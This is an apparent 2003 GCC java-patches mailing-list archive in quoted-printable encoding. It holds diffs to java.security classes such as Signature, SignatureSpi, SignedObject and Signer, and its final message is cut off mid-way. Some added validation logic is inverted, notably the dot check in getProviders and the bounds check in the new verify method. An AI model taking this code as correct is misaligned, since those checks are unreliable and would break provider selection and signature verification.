          The selection criteria are represented by a map. Each map entry + * represents a selection criterion. A provider is selected iff it sat= isfies + * all selection criteria. The key for any entry in such a map must be= in one + * of the following two formats:

          + * + *
            + *
          • <crypto_service>.<algorithm_or_type>

            + *

            The cryptographic service name must not contain any dots.

            + *

            The value associated with the key must be an empty string. + *

            A provider satisfies this selection criterion iff the provide= r + * implements the specified algorithm or type for the specified + * cryptographic service.

          • + * + *
          • <crypto_service>.<algorithm_or_type> <attribute_= name>

            + *

            The cryptographic service name must not contain any dots. The= re must + * be one or more space charaters between the <algorithm_or_type= > and + * the <attribute_name>.

            + *

            The value associated with the key must be a non-empty string.= A + * provider satisfies this selection criterion iff the provider imp= lements + * the specified algorithm or type for the specified cryptographic = service + * and its implementation meets the constraint expressed by the spe= cified + * attribute name/value pair.

          • + *
          + * + *

          See Appendix A in the Java Cryptogaphy Architecture API Specific= ation + * & Reference for information about standard cryptographic servic= e names, + * standard algorithm names and standard attribute names.

          + * + * @param filter the criteria for selecting providers. The filter is c= ase- + * insensitive. + * @return all the installed providers that satisfy the selection crit= eria, + * or null if no such providers have been installed. + * @throws InvalidParameterException if the filter is not in the requi= red + * format. + * @see #getProviders(String) + */ + public static Provider[] getProviders(Map filter) + { + if (providers =3D=3D null || providers.isEmpty()) + return null; + + if (filter =3D=3D null) + return getProviders(); + + Set querries =3D filter.keySet(); + if (querries =3D=3D null || querries.isEmpty()) + return getProviders(); + + LinkedHashSet result =3D new LinkedHashSet(providers); // assume all + + int dot, ws; + String querry, service, algorithm, attribute, value; + LinkedHashSet serviceProviders =3D new LinkedHashSet(); // preserve = insertion order + for (Iterator i =3D querries.iterator(); i.hasNext(); ) + { + querry =3D (String) i.next(); + if (querry =3D=3D null) // all providers + continue; + + querry =3D querry.trim(); + if (querry.length() =3D=3D 0) // all providers + continue; + + dot =3D querry.indexOf('.'); + if (dot !=3D -1) // syntax error + throw new InvalidParameterException("missing dot in '" + +String.valueOf(querry)+"'"); + + value =3D (String) filter.get(querry); + // deconstruct querry into [service, algorithm, attribute] + if (value =3D=3D null || value.trim().length() =3D=3D 0) // . + { + value =3D null; + attribute =3D null; + service =3D querry.substring(0, dot).trim(); + algorithm =3D querry.substring(dot+1).trim(); + } + else // . + { + ws =3D querry.indexOf(' '); + if (ws =3D=3D -1) + throw new InvalidParameterException("value (" + +String.valueOf(value)+") is not empty, but querry (" + +String.valueOf(querry) + +") is missing at least one space character"); + value =3D value.trim(); + attribute =3D querry.substring(ws+1).trim(); + // was the dot in the attribute? + if (attribute.indexOf('.') !=3D -1) + throw new InvalidParameterException("attribute_name (" + +String.valueOf(attribute)+") in querry (" + +String.valueOf(querry)+") contains a dot"); + querry =3D querry.substring(0, ws).trim(); + service =3D querry.substring(0, dot).trim(); + algorithm =3D querry.substring(dot+1).trim(); + } + // service and algorithm must not be empty + if (service.length() =3D=3D 0) + throw new InvalidParameterException(" in querr= y (" + +String.valueOf(querry)+") is empty"); + if (algorithm.length() =3D=3D 0) + throw new InvalidParameterException(" in qu= erry (" + +String.valueOf(querry)+") is empty"); + + selectProviders(service, algorithm, attribute, value, result, se= rviceProviders); + result.retainAll(serviceProviders); // eval next retaining found= providers +=09if (result.isEmpty()) // no point continuing +=09 break; + } + + if (result.isEmpty()) + return null; + return (Provider[]) result.toArray(new Provider[0]); + } + + private static void + selectProviders(String svc, String algo, String attr, String val, + LinkedHashSet providerSet, LinkedHashSet result) + { + result.clear(); // ensure we start with an empty result set + for (Iterator i =3D providerSet.iterator(); i.hasNext(); ) + { + Provider p =3D (Provider) i.next(); + if (provides(p, svc, algo, attr, val)) + result.add(p); + } + } + + private static final String ALG_ALIAS =3D "Alg.Alias."; + + private static boolean + provides(Provider p, String svc, String algo, String attr, String val) + { + Iterator it; + String serviceDotAlgorithm =3D null; + String key =3D null; + String realVal; + // if . is in the set then so is . + // but it may be stored under an alias . resolve + outer: for (int r =3D 0; r < 3; r++) // guard against circularity + { + serviceDotAlgorithm =3D (svc+"."+String.valueOf(algo)).trim(); + inner: for (it =3D p.keySet().iterator(); it.hasNext(); ) + { + key =3D (String) it.next(); + if (key.equalsIgnoreCase(serviceDotAlgorithm)) // eureka + break outer; + // it may be there but as an alias + if (key.equalsIgnoreCase(ALG_ALIAS + serviceDotAlgorithm)) + { + algo =3D p.getProperty(key); + continue outer; + } + // else continue inner + } + } + + // do we have an attr to match? + if (val =3D=3D null) // . querry + return true; + + // . ; find the key entry that match + String realAttr; + int limit =3D serviceDotAlgorithm.length() + 1; + for (it =3D p.keySet().iterator(); it.hasNext(); ) + { + key =3D (String) it.next(); + if (key.length() <=3D limit) + continue; + if (key.substring(0, limit).equalsIgnoreCase(serviceDotAlgorithm= +" ")) + { + realAttr =3D key.substring(limit).trim(); + if (! realAttr.equalsIgnoreCase(attr)) + continue; + // eveything matches so far. do the value + realVal =3D p.getProperty(key); + if (realVal =3D=3D null) + return false; + + realVal =3D realVal.trim(); + if (val.equals(realVal)) + return true; + // assume value is a number. cehck for greater-than-or-equal + return (new Integer(val).intValue() >=3D new Integer(realVal= ).intValue()); + } + } + + return false; } } From java-patches-return-6356-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 19:08:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4317 invoked by alias); 2 Mar 2003 19:08:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4302 invoked from network); 2 Mar 2003 19:08:13 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 19:08:13 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id 6C82B17FFBE for ; Mon, 3 Mar 2003 06:15:10 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.Signature and java.security.SignatureSpi Date: Mon, 3 Mar 2003 06:11:36 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030611.36235.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.Signature: formatting + documentation. =09(getInstance(String, Provider)): made it public. =09(verify(byte[], int, int), getParameters()): new methods. =09* java.security.SignatureSpi: formatting + documentation. =09(engineVerify(byte[], int, int), engineGetParameters()): new methods. cvs -z9 diff -u -wb -B Signature.java (in directory /data/workspace/cvs/g= cc/libjava/java/security/) Index: Signature.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/Signature.java,v retrieving revision 1.4 diff -u -w -b -B -r1.4 Signature.java --- Signature.java=0917 Nov 2002 00:10:24 -0000=091.4 +++ Signature.java=092 Mar 2003 18:56:35 -0000 @@ -37,6 +37,7 @@ =20 package java.security; import java.security.spec.AlgorithmParameterSpec; +import java.lang.IllegalArgumentException; =20 /** Signature is used to provide an interface to digital signature=20 @@ -102,7 +103,7 @@ /** Creates a new signature for this algorithm. =20 - @param algorithm the algorithm to use + @param algorithm the algorithm to use. */ protected Signature(String algorithm) { @@ -115,11 +116,10 @@ the specified signature. If the algorithm is not found then,=20 it throws NoSuchAlgorithmException. =20 - @param algorithm the name of signature algorithm to choose - @return a Signature repesenting the desired algorithm - + @param algorithm the name of signature algorithm to choose. + @return a Signature repesenting the desired algorithm. @throws NoSuchAlgorithmException if the algorithm is not implemente= d by - =09=09=09=09 providers + providers. */ public static Signature getInstance(String algorithm) throws NoSuchAlgorithmException @@ -145,13 +145,12 @@ If the provider is not found, then it throws NoSuchProviderException. =20 - @param algorithm the name of signature algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a Signature repesenting the desired algorithm - + @param algorithm the name of signature algorithm to choose. + @param provider the name of the provider to find the algorithm in. + @return a Signature repesenting the desired algorithm. @throws NoSuchAlgorithmException if the algorithm is not implemente= d by -=09=09=09=09 the provider - @throws NoSuchProviderException if the provider is not found + the provider. + @throws NoSuchProviderException if the provider is not found. */ public static Signature getInstance(String algorithm, String provider) throws NoSuchAlgorithmException, NoSuchProviderException @@ -163,29 +162,50 @@ return getInstance(algorithm, p); } =20 - private static Signature getInstance(String algorithm, Provider p) + /** + * Generates a Signature object implementing the specified algorithm, = as + * supplied from the specified provider, if such an algorithm is avail= able + * from the provider. Note: the provider doesn't have to = be + * registered. + * + * @param algorithm the name of the algorithm requested. See Appendix = A in + * the Java Cryptography Architecture API Specification & Referenc= e for + * information about standard algorithm names. + * @param provider the provider. + * @return the new Signature object. + * @throws NoSuchAlgorithmException if the algorithm is not available = in the + * package supplied by the requested provider. + * @throws IllegalArgumentException if the provider is null. + * @since 1.4 + * @see Provider + */ + public static Signature getInstance(String algorithm, Provider provide= r) throws NoSuchAlgorithmException { + if (provider =3D=3D null) + throw new IllegalArgumentException(); + // try the name as is - String className =3D p.getProperty("Signature." + algorithm); - if (className =3D=3D null) { // try all uppercase + String className =3D provider.getProperty("Signature." + algorithm); + if (className =3D=3D null) // try all uppercase + { String upper =3D algorithm.toUpperCase(); - className =3D p.getProperty("Signature." + upper); - if (className =3D=3D null) { // try if it's an alias - String alias =3D p.getProperty("Alg.Alias.Signature." + algorith= m); - if (alias =3D=3D null) { - alias =3D p.getProperty("Alg.Alias.Signature." + upper); - if (alias =3D=3D null) { // spit the dummy + className =3D provider.getProperty("Signature." + upper); + if (className =3D=3D null) // try if it's an alias + { + String alias =3D provider.getProperty("Alg.Alias.Signature."= + algorithm); + if (alias =3D=3D null) + { + alias =3D provider.getProperty("Alg.Alias.Signature." + = upper); + if (alias =3D=3D null) // spit the dummy throw new NoSuchAlgorithmException(algorithm); } - } - className =3D p.getProperty("Signature." + alias); - if (className =3D=3D null) { + className =3D provider.getProperty("Signature." + alias); + if (className =3D=3D null) throw new NoSuchAlgorithmException(algorithm); } } - } - return getInstance(className, algorithm, p); + return getInstance(className, algorithm, provider); } =20 private static Signature getInstance(String classname, @@ -225,7 +245,7 @@ /** Gets the provider that the Signature is from. =20 - @return the provider of this Signature + @return the provider of this Signature. */ public final Provider getProvider() { @@ -236,9 +256,8 @@ Initializes this class with the public key for=20 verification purposes. =20 - @param publicKey the public key to verify with - - @throws InvalidKeyException invalid key + @param publicKey the public key to verify with. + @throws InvalidKeyException invalid key. */ public final void initVerify(PublicKey publicKey) throws InvalidKeyExc= eption { @@ -254,7 +273,7 @@ the parameter indicates this key is not to be used for signing then= an=20 error is returned. =20 - @param certificate a certificate containing a public key to verify = with + @param certificate a certificate containing a public key to verify = with. */ public final void initVerify(java.security.cert.Certificate certificat= e) throws InvalidKeyException @@ -277,9 +296,8 @@ Initializes this class with the private key for=20 signing purposes. =20 - @param privateKey the private key to sign with - - @throws InvalidKeyException invalid key + @param privateKey the private key to sign with. + @throws InvalidKeyException invalid key. */ public final void initSign(PrivateKey privateKey) throws InvalidKeyExc= eption { @@ -292,10 +310,8 @@ of randomness for signing purposes. =20 @param privateKey the private key to sign with - @param random Source of randomness - - @throws InvalidKeyException invalid key - + @param random Source of randomness. + @throws InvalidKeyException invalid key. @since JDK 1.2 */ public final void initSign(PrivateKey privateKey, SecureRandom random) @@ -311,9 +327,8 @@ The format of the output depends on the underlying signature algorithm. =20 - @return the signature - - @throws SignatureException engine not properly initialized + @return the signature. + @throws SignatureException engine not properly initialized. */ public final byte[] sign() throws SignatureException { @@ -335,19 +350,16 @@ initial state and can be used to generate additional signatures. =20 - @param outbuf array of bytes - @param offset the offset to start at in the array + @param outbuf array of bytes. + @param offset the offset to start at in the array. @param len the length of the bytes to put into the array.=20 Neither this method or the GNU provider will=20 return partial digests. If len is less than the=20 signature length, this method will throw=20 SignatureException. If it is greater than or equal then it is ignored. - - @return number of bytes in outbuf - - @throws SignatureException engine not properly initialized - + @return number of bytes in outbuf. + @throws SignatureException engine not properly initialized. @since JDK 1.2 */ public final int sign(byte[] outbuf, int offset, int len) @@ -365,12 +377,10 @@ /** Verifies the passed signature. =20 - @param signature the signature bytes to verify - - @return true if verified, false otherwise - + @param signature the signature bytes to verify. + @return true if verified, false otherwise. @throws SignatureException engine not properly initialized - or wrong signature + or wrong signature. */ public final boolean verify(byte[]signature) throws SignatureException { @@ -384,12 +394,54 @@ } =20 /** + *

          Verifies the passed-in signature in the specified array of bytes= , + * starting at the specified offset.

          + * + *

          A call to this method resets this signature object to the state = it was + * in when previously initialized for verification via a call to + * {@link #initVerify(PublicKey)}. That is, the object is reset and av= ailable + * to verify another signature from the identity whose public key was + * specified in the call to initVerify.

          + * + * @param signature the signature bytes to be verified. + * @param offset the offset to start from in the array of bytes. + * @param length the number of bytes to use, starting at offset. + * @return true if the signature was verified, fals= e + * if not. + * @throws SignatureException if this signature object is not initiali= zed + * properly, or the passed-in signature is improperly encoded or of th= e wrong + * type, etc. + * @throws IllegalArgumentException if the signature byte array is + * null, or the offset or length is + * less than 0, or the sum of the offset and + * length is greater than the length of the + * signature byte array. + */ + public final boolean verify(byte[] signature, int offset, int length) + throws SignatureException + { + if (state !=3D VERIFY) + throw new SignatureException("illegal state"); + + if (signature =3D=3D null) + throw new IllegalArgumentException("signaure is null"); + if (offset < 0) + throw new IllegalArgumentException("offset is less than 0"); + if (length < 0) + throw new IllegalArgumentException("length is less than 0"); + if (offset + length < signature.length) + throw new IllegalArgumentException("range is out of bounds"); + + state =3D UNINITIALIZED; + return engineVerify(signature, offset, length); + } + + /** Updates the data to be signed or verified with the specified=20 byte. =20 - @param b byte to update with - - @throws SignatureException Engine not properly initialized + @param b byte to update with. + @throws SignatureException Engine not properly initialized. */ public final void update(byte b) throws SignatureException { @@ -419,11 +471,10 @@ Updates the data to be signed or verified with the specified=20 bytes. =20 - @param data array of bytes - @param off the offset to start at in the array - @param len the length of the bytes to use in the array - - @throws SignatureException engine not properly initialized + @param data array of bytes. + @param off the offset to start at in the array. + @param len the length of the bytes to use in the array. + @throws SignatureException engine not properly initialized. */ public final void update(byte[]data, int off, int len) throws SignatureException @@ -448,7 +499,7 @@ /** Returns a representation of the Signature as a String =20 - @return a string representing the signature + @return a string representing the signature. */ public String toString() { @@ -458,13 +509,10 @@ /** Sets the specified algorithm parameter to the specified value. =20 - @param param parameter name - @param value parameter value - + @param param parameter name. + @param value parameter value. @throws InvalidParameterException invalid parameter, parameter=20 - already set and cannot set again, a security exception,=20 - etc. - + already set and cannot set again, a security exception, etc. @deprecated use the other setParameter */ public final void setParameter(String param, Object value) @@ -480,11 +528,9 @@ By default this always throws UnsupportedOperationException=20 if not overridden; =20 - @param params the parameters - + @param params the parameters. @throws InvalidParameterException invalid parameter, parameter=20 - already set and cannot set again, a security exception,=20 - etc. + already set and cannot set again, a security exception, etc. */ public final void setParameter(AlgorithmParameterSpec params) throws InvalidAlgorithmParameterException @@ -493,15 +539,30 @@ } =20 /** - Gets the value for the specified algorithm parameter. - - @param param parameter name - - @return parameter value + *

          Returns the parameters used with this signature object.

          + * + *

          The returned parameters may be the same that were used to initia= lize + * this signature, or may contain a combination of default and randoml= y + * generated parameter values used by the underlying signature impleme= ntation + * if this signature requires algorithm parameters but was not initial= ized + * with any.

          + * + * @return the parameters used with this signature, or null if + * this signature does not use any parameters. + * @see #setParameter(AlgorithmParameterSpec) + */ + public final AlgorithmParameters getParameters() + { + return engineGetParameters(); + } =20 - @throws InvalidParameterException invalid parameter + /** + Gets the value for the specified algorithm parameter. =20 - @deprecated use the other getParameter + @param param parameter name. + @return parameter value. + @throws InvalidParameterException invalid parameter. + @deprecated use the other getParameter. */ public final Object getParameter(String param) throws InvalidParameterException @@ -513,9 +574,8 @@ Returns a clone if cloneable. =20 @return a clone if cloneable. - @throws CloneNotSupportedException if the implementation does=20 - not support cloning + not support cloning. */ public Object clone() throws CloneNotSupportedException { cvs -z9 diff -u -wb -B SignatureSpi.java (in directory /data/workspace/cv= s/gcc/libjava/java/security/) Index: SignatureSpi.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/SignatureSpi.java,v retrieving revision 1.2 diff -u -w -b -B -r1.2 SignatureSpi.java --- SignatureSpi.java=0922 Jan 2002 22:40:30 -0000=091.2 +++ SignatureSpi.java=092 Mar 2003 18:58:20 -0000 @@ -149,20 +149,17 @@ initial state and can be used to generate additional signatures. =20 - @param outbuff array of bytes - @param offset the offset to start at in the array + @param outbuf array of bytes. + @param offset the offset to start at in the array. @param len the length of the bytes to put into the array.=20 Neither this method or the GNU provider will=20 return partial digests. If len is less than the=20 signature length, this method will throw=20 SignatureException. If it is greater than or equal then it is ignored. - - @return number of bytes in outbuf - - @throws SignatureException engine not properly initialized - - @since JDK 1.2 + @return number of bytes in outbuf. + @throws SignatureException engine not properly initialized. + @since 1.2 */ protected int engineSign(byte[] outbuf, int offset, int len) throws SignatureException @@ -180,27 +177,44 @@ /** Verifies the passed signature. =20 - @param sigBytes the signature bytes to verify - - @return true if verified, false otherwise - + @param sigBytes the signature bytes to verify. + @return true if verified, false otherwise. @throws SignatureException engine not properly initialized - or wrong signature + or wrong signature. */ protected abstract boolean engineVerify(byte[] sigBytes) throws SignatureException; =20 /** - Sets the specified algorithm parameter to the specified value. + *

          Verifies the passed-in signature in the specified array of bytes= , + * starting at the specified offset.

          + * + *

          Note: Subclasses should overwrite the default implementation. + * + * @param sigBytes the signature bytes to be verified. + * @param offset the offset to start from in the array of bytes. + * @param length the number of bytes to use, starting at offset. + * @return true if the signature was verified, fals= e + * if not. + * @throws SignatureException if the engine is not initialized properl= y, or + * the passed-in signature is improperly encoded or of the wrong type,= etc. + */ + protected boolean engineVerify(byte[] sigBytes, int offset, int length= ) + throws SignatureException + { + byte[] tmp =3D new byte[length]; + System.arraycopy(sigBytes, offset, tmp, 0, length); + return engineVerify(tmp); + } =20 - @param param parameter name - @param value parameter value + /** + Sets the specified algorithm parameter to the specified value. =20 + @param param parameter name. + @param value parameter value. @throws InvalidParameterException invalid parameter, parameter=20 - already set and cannot set again, a security exception,=20 - etc. - - @deprecated use the other setParameter + already set and cannot set again, a security exception, etc. + @deprecated use the other setParameter. */ protected abstract void engineSetParameter(String param, Object value) throws InvalidParameterException; @@ -213,11 +227,9 @@ By default this always throws UnsupportedOperationException=20 if not overridden; =20 - @param params the parameters - + @param params the parameters. @throws InvalidParameterException invalid parameter, parameter=20 - already set and cannot set again, a security exception,=20 - etc. + already set and cannot set again, a security exception, etc. */ protected void engineSetParameter(AlgorithmParameterSpec params) throws InvalidAlgorithmParameterException @@ -228,13 +240,10 @@ /** Gets the value for the specified algorithm parameter. =20 - @param param parameter name - - @return parameter value - - @throws InvalidParameterException invalid parameter - - @deprecated use the other getParameter + @param param parameter name. + @return parameter value. + @throws InvalidParameterException invalid parameter. + @deprecated use the other getParameter. */ protected abstract Object engineGetParameter(String param) throws InvalidParameterException; @@ -243,12 +252,32 @@ Returns a clone if cloneable. =20 @return a clone if cloneable. - @throws CloneNotSupportedException if the implementation does=20 - not support cloning + not support cloning. */ public Object clone() throws CloneNotSupportedException { throw new CloneNotSupportedException(); + } + + /** + *

          This method is overridden by providers to return the parameters = used + * with this signature engine, or null if this signature = engine + * does not use any parameters.

          + * + *

          The returned parameters may be the same that were used to initia= lize + * this signature engine, or may contain a combination of default and = randomly + * generated parameter values used by the underlying signature impleme= ntation + * if this signature engine requires algorithm parameters but was not + * initialized with any.

          + * + * @return the parameters used with this signature engine, or nu= ll + * if this signature engine does not use any parameters. + * @throws UnsupportedOperationException if this method is not overrid= den by + * a provider. + */ + protected AlgorithmParameters engineGetParameters() + { + throw new UnsupportedOperationException(); } } From java-patches-return-6357-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 19:15:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5746 invoked by alias); 2 Mar 2003 19:15:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5738 invoked from network); 2 Mar 2003 19:15:56 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 19:15:56 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id 8C97217FD16 for ; Mon, 3 Mar 2003 06:23:52 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.SignedObject Date: Mon, 3 Mar 2003 06:20:50 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030620.50130.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.SignedObject: formatting + javadoc. =09(getObject()): ensure streams are closed before return. =09(getSignature()): return a clone. =09(readObject(ObjectInputStream)): new method. cvs -z9 diff -u -wb -B SignedObject.java (in directory /data/workspace/cv= s/gcc/libjava/java/security/) Index: SignedObject.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/SignedObject.java,v retrieving revision 1.4 diff -u -w -b -B -r1.4 SignedObject.java --- SignedObject.java=094 Oct 2002 20:15:07 -0000=091.4 +++ SignedObject.java=092 Mar 2003 19:06:58 -0000 @@ -39,6 +39,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.ObjectInput; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; @@ -74,15 +75,17 @@ be specified because there is no default. =20 @author Mark Benvenuto - - @since JDK 1.2 + @since 1.2 */ public final class SignedObject implements Serializable { static final long serialVersionUID =3D 720502720485447167L; =20 + /** @serial */ private byte[] content; + /** @serial */ private byte[] signature; + /** @serial */ private String thealgorithm; =20 /** @@ -98,8 +101,8 @@ @throws SignatureException signing error */ public SignedObject(Serializable object, PrivateKey signingKey, -=09=09 Signature signingEngine) throws IOException, - InvalidKeyException, SignatureException +=09=09 Signature signingEngine) + throws IOException, InvalidKeyException, SignatureException { thealgorithm =3D signingEngine.getAlgorithm(); =20 @@ -107,7 +110,7 @@ ObjectOutputStream p =3D new ObjectOutputStream(ostream); p.writeObject(object); p.flush(); - + p.close(); content =3D ostream.toByteArray(); =20 signingEngine.initSign(signingKey); @@ -126,19 +129,23 @@ */ public Object getObject() throws IOException, ClassNotFoundException { - ByteArrayInputStream istream =3D new ByteArrayInputStream(content); + ByteArrayInputStream bais =3D new ByteArrayInputStream(content); + ObjectInput oi =3D new ObjectInputStream(bais); + Object obj =3D oi.readObject(); + oi.close(); + bais.close(); =20 - return new ObjectInputStream(istream).readObject(); + return obj; } =20 /** - Returns the signature of the encapsulated object. + Returns (a copy of) the signature of the encapsulated object. =20 - @return a byte array containing the signature + @return a (copy of) byte array containing the signature. */ public byte[] getSignature() { - return signature; + return (byte[]) signature.clone(); } =20 /** @@ -163,17 +170,20 @@ @throws InvalidKeyException invalid key @throws SignatureException signature verification failed */ - public boolean verify(PublicKey verificationKey, -=09=09=09Signature verificationEngine) throws - InvalidKeyException, SignatureException + public boolean verify(PublicKey verificationKey, Signature verificatio= nEngine) + throws InvalidKeyException, SignatureException { verificationEngine.initVerify(verificationKey); verificationEngine.update(content); return verificationEngine.verify(signature); } =20 - // readObject is called to restore the state of the SignedObject f= rom a - // stream. - //private void readObject(ObjectInputStream s) - // throws IOException, ClassNotFoundException + /** Called to restore the state of the SignedObject from a stream. */ + private void readObject(ObjectInputStream s) + throws IOException, ClassNotFoundException + { + s.defaultReadObject(); + content =3D (byte[]) content.clone(); + signature =3D (byte[]) signature.clone(); + } } From java-patches-return-6358-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 19:19:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6086 invoked by alias); 2 Mar 2003 19:19:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6079 invoked from network); 2 Mar 2003 19:19:18 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 19:19:18 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id B4A08180378 for ; Mon, 3 Mar 2003 06:27:14 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.Signer Date: Mon, 3 Mar 2003 06:24:12 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030624.12498.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.Signer: formatting + javadoc + SVUID. cvs -z9 diff -u -wb -B Signer.java (in directory /data/workspace/cvs/gcc/= libjava/java/security/) Index: Signer.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/Signer.java,v retrieving revision 1.2 diff -u -w -b -B -r1.2 Signer.java --- Signer.java=0922 Jan 2002 22:40:30 -0000=091.2 +++ Signer.java=092 Mar 2003 19:16:08 -0000 @@ -42,11 +42,15 @@ an Identity. =20 @author Mark Benvenuto - - @since JDK 1.1 + @since 1.1 + @deprecated This class is no longer used. Its functionality has been = replaced + by java.security.KeyStore, the java.security.cert<= /code> + package, and java.security.Principal. */ public abstract class Signer extends Identity { + static final long serialVersionUID =3D -1763464102261361480L; + /** @serial The signer's private key. */ private PrivateKey privateKey =3D null; =20 /** @@ -71,7 +75,7 @@ IdentityScope. =20 @param name the name of the identity. - @scope the IdentityScope to use + @param scope the IdentityScope to use =20 @throws KeyManagementException if duplicate identity name=20 within scope @@ -88,7 +92,7 @@ This class checks the security manager with the call=20 checkSecurityAccess with "getSignerPrivateKey". =20 - @returns the private key for the signer + @return the private key for the signer =20 @throws SecurityException - if the security manager denies=20 access to "getSignerPrivateKey" @@ -144,7 +148,7 @@ /** Returns a string representing this Signer. =20 - @returns a string representing this Signer. + @return a string representing this Signer. */ public String toString() { From java-patches-return-6359-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 19:28:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7454 invoked by alias); 2 Mar 2003 19:28:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7447 invoked from network); 2 Mar 2003 19:28:08 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 2 Mar 2003 19:28:08 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-81-234.ewetel.net [80.228.81.234]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h22JS50h028545 for ; Sun, 2 Mar 2003 20:28:06 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: java.awt: deprecated and some comments Date: Sun, 2 Mar 2003 20:28:23 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_XtlY+J1easKyAfq" Message-Id: <200303022028.24002.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_XtlY+J1easKyAfq Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: 